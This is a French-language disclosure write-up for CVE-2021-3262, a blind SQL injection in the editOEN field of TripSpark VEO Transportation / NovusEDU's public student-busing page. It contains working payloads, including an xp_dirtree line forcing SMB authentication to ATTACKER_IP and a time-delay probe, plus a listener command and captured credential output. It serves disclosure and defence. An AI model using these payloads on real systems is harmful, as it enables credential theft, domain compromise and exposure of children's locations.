
CVE-2021-3262 - Injection SQL aveugle dans le paramètre editOEN de TripSpark VEO Transportation / NovusEDU. Non authentifié, exposé sur Internet. Payloads, requêtes annotées et preuves.
Injection SQL dans TripSpark VEO Transportation / NovusEDU
La page de consultation publique « Student Busing Information » fournie avec TripSpark VEO Transportation prend des entrées non authentifiées du corps POST et les concatène dans une requête SQL Server sans paramétrage ni validation côté serveur. Le paramètre editOEN (le champ du numéro d'élève) est injectable.
L'injection est aveugle : l'application ne renvoie aucune erreur de base de données ni aucun contenu différentiel digne d'intérêt. Elle reste néanmoins entièrement exploitable hors bande, car la connexion à la base de données peut atteindre master.dbo.xp_dirtree, ce qui force le compte de service SQL Server à s'authentifier en sortie via SMB vers un chemin UNC fourni par l'attaquant.
Découvert lors d'un test d'intrusion externe. Lors de l'engagement initial, l'identifiant du compte de service capturé a été le point d'appui qui a conduit à la compromission totale du domaine et de la forêt Active Directory du client.
Publié sous la référence CVE-2021-3262. Découvert et rapporté par Sedric Louissaint de Show Up Show Out Security.
| CVE | CVE-2021-3262 |
| Produit | TripSpark VEO Transportation / NovusEDU |
| Version affectée | NovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS |
| Faiblesse | CWE-89: Injection SQL |
| CVSS 3.1 (NVD) | 9.8 Critique CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (chercheur) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| Publié | 2023-08-29 |
| Testé sur | Windows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64) |
| Authentification requise | Aucune. La page de consultation est conçue pour être accessible sur Internet. |
Description du NVD :
TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 permet des entrées non sécurisées dans les paramètres du corps POST provenant des utilisateurs finaux sans les nettoyer à l'aide d'une logique côté serveur. Il était possible d'injecter des commandes SQL personnalisées dans les requêtes de recherche « Student Busing Information ».
Les districts déploient la page « Student Busing Information » sur leur site web public afin que les parents puissent consulter l'affectation du bus d'un élève. Elle demande un numéro N d'élève et une date de naissance, et elle est intentionnellement non authentifiée.

Le champ numéro N poste sous le nom editOEN. La date de naissance poste sous cboxMonth, cboxDay et cboxYear. editOEN est le paramètre injectable.
Contrairement à de nombreuses applications ASP.NET de cette époque, cette page ne renvoie pas les erreurs de base de données. Il n'y a aucune différence visible entre une requête bien formée et une requête cassée, donc les techniques en bande sont une impasse.
Les requêtes empilées s'exécuent, ce qui est tout ce dont on a besoin.
master.dbo.xp_dirtree énumère un répertoire. Étant donné un chemin UNC, SQL Server s'authentifie auprès de l'hôte cible via SMB avant de le lire. Le pointer vers un écouteur transforme une injection silencieuse en injection visible :
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

La requête est une POST ASP.NET WebForms ordinaire, d'environ 4 700 octets, dont la majeure partie est __VIEWSTATE. Requête complète dans poc/exploited-request.http, charges utiles dans poc/payloads.sql.

Avec smbserver.py d'Impacket à l'écoute sur un hôte sur Internet public, le serveur de base de données à l'intérieur du réseau du district s'authentifie en sortie :
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

Deux choses méritent d'être nommées explicitement. Premièrement, il s'agit d'un formulaire non authentifié accessible sur Internet atteignant une base de données de production. Deuxièmement, ce serveur de base de données était autorisé à établir des connexions SMB sortantes vers des hôtes Internet arbitraires, ce qui a rendu l'injection aveugle observable.
Au-delà de l'injection elle-même, l'identifiant NTLMv2 capturé pour le compte de service SQL Server a été le point d'appui initial lors de l'engagement original. À partir de là, l'évaluation a escaladé jusqu'à la compromission totale du domaine et de la forêt Active Directory du client.
Les données à risque sont les dossiers de transport des élèves : noms, adresses personnelles, bus attribué, arrêt attribué, heures de prise en charge et itinéraires d'éducation spécialisée. C'est un emploi du temps indiquant où des enfants identifiables se trouveront physiquement à des heures connues.
Contre une instance de laboratoire que vous possédez ou que vous êtes autorisé à tester :
sudo smbserver.py c . -smb2support
xp_dirtree de poc/payloads.sql dans le champ numéro N, en remplaçant par votre propre IP. Capturez et rejouez la POST plutôt que de taper dans le navigateur si le champ a une limite de longueur côté client, car cette limite n'existe pas côté serveur.123'; waitfor delay '0:0:10';--
poc/
payloads.sql Détection, charges utiles temporelles et hors bande pour editOEN
exploited-request.http La requête POST complète, prête pour sqlmap -r
sqlmap.md Invocations sqlmap pour une injection aveugle par requêtes empilées
media/
01-student-busing-information-page.png
02-editoen-payload-in-burp.png
03-forced-auth-captured-impacket.png
04-exploited-http-request.png
Les identifiants clients dans les captures sont expurgés. Les adresses des écouteurs proviennent de l'engagement original et sont depuis longtemps obsolètes. Remplacez-les par les vôtres lors de la reproduction.
editOEN en tant que paramètre et la charge utile devient une chaîne inerte, quel que soit son contenu.xp_dirtree et aux autres procédures stockées étendues.| Date | Événement |
|---|---|
| 2021 | Découvert lors d'un test d'intrusion externe et signalé à TripSpark |
| 2023-08-29 | CVE-2021-3262 publié dans le NVD, noté 9.8 Critique |
Publié après divulgation, à des fins défensives et éducatives. N'exécutez pas ces charges utiles contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite de test. Si vous administrez un déploiement de district, l'action utile ici est de demander à votre fournisseur, par écrit, si les requêtes derrière vos formulaires publics sont paramétrées.